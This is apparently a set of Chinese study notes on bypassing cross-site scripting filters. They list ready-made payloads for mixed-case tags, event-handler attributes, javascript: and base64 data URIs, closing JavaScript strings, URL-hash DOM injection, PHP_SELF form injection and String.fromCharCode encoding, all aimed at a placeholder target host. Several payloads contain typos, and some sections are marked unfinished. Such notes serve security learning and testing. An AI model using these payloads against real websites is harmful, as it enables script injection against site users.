1. 大小写绕过
标签使用大小写混合: <ScriPt>alErt(1)</ScRipT>
2. 属性多余
原理: 对标签过滤一次
绕过方法: 标签套娃
3. 黑名单标签
原理: 只要有敏感标签就拦截
绕过方法: 使用其他标签,例如:
<img src="x" oneorror=prompt(1)>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onm ouseover="alert(/xss/)">aa</a>
<input value="" onclick(或者onmouseover)=alert('xss') type="text">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="javascript:prompt(`xss`)"></iframe>
<待补充>
用prompt或者confirm代替alert
4. js输出
原理: 将用户输入的内容和自己添加的内容赋值给一个js中的变量
漏洞利用: 把变量闭合,然后由于是在js的<script>标签内,所以变量闭合后添加alert语句,然后注释后面多余内容,因此payload可构造如下
变量=xxx";alert(1);//
5. dom输出
原理: 对dom属性来进行攻击
举例: 如果网站调用了location.hash.substring(1)这个属性, 那么他会读取锚的内容来判断网页状态。
hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
锚,就是类似页面内跳转的东西,例如百度百科中的跳跃,URL的锚(#符号之后的任何内容)不会发送到服务器,因此无法被阻止。
漏洞利用: 例子: http://target_sys.com/xss/xss10.php?name=moon#<script>alert(/xss/);</script>
6. php $_SERVER['PHP_SELF'] 漏洞
原理: $_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,可是当程序员写表单提交的标签时,如果写成这样:<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">,那么对于用户而言,他们可以在url的后面闭合action属性,然后填上攻击代码,从而达成攻击目的
举例: http://target_sys.com/xss/xss11.php/" onsubmit=alert('1')
7. php的gpc开启(即特殊字符前加\转义,例如 ' " \ NULL)
原理: 各种特殊字符被转义
方法: 利用编码
http://target_sys.com/xss/xss12.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
PHP中GPC绕过的一些总结_cnbird's blog-CSDN博客
8. 拦截<>
方法: 闭合前面的属性,然后添加事件属性,并且内容中带有伪协议
举例: http://target_sys.com/xss/xss13.php?name=moon' onm ouseover='javascript:alert(1)‘
<待补充>